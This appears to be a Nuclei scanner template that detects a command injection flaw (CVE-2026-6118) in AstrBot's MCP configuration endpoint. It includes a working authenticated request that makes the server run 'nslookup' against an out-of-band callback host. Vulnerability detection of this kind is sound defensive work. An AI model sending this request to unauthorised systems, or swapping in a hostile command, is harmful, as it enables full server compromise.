id: CVE-2026-6118 info: name: AstrBot <= 4.22.1 - Command Injection author: jyoti369 severity: high description: | AstrBot versions up to and including 4.22.1 contain a command injection vulnerability in the MCP server configuration endpoint. The /api/tools/mcp/add endpoint accepts arbitrary command and args fields that are passed directly to subprocess execution during the connection test, without any validation or allowlist enforcement. An attacker with dashboard access can execute arbitrary system commands with AstrBot process privileges. impact: | Authenticated attackers can execute arbitrary system commands, leading to full server compromise, data exfiltration, and lateral movement. remediation: | Upgrade AstrBot to version 4.22.2 or later which introduces command allowlisting and validation. Change default dashboard credentials immediately. reference: - https://github.com/AstrBotDevs/AstrBot/issues/7169 - https://nvd.nist.gov/vuln/detail/CVE-2026-6118 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-6118 epss-score: 0.02304 epss-percentile: 0.81538 cwe-id: CWE-94 metadata: verified: true max-request: 2 vendor: AstrBotDevs product: AstrBot shodan-query: title:"AstrBot" tags: cve,cve2026,astrbot,rce,oast,authenticated flow: http(1) && http(2) http: - raw: - | POST /api/auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"username":"{{username}}","password":"{{md5(password)}}"} matchers: - type: word part: body words: - '"token"' internal: true extractors: - type: regex name: token part: body group: 1 regex: - '"token"\s*:\s*"([^"]+)"' internal: true - raw: - | POST /api/tools/mcp/add HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"name":"{{randstr}}","command":"nslookup","args":["{{interactsh-url}}"],"active":false} matchers: - type: dsl dsl: - 'contains_all(body, "status", "MCP connection test failed")' - 'contains(interactsh_protocol, "dns")' - 'status_code == 200' condition: and # digest: 490a00463044022012b3484babd354a3ff698a94cdc6e3e21e99c7a59aa12eac7924ccfc78747889022026f75ce63112389b37fc2be636e121b9ed14b59702d846b48a35641f759a3bb3:922c64590222798bb761d5b6d8e72950
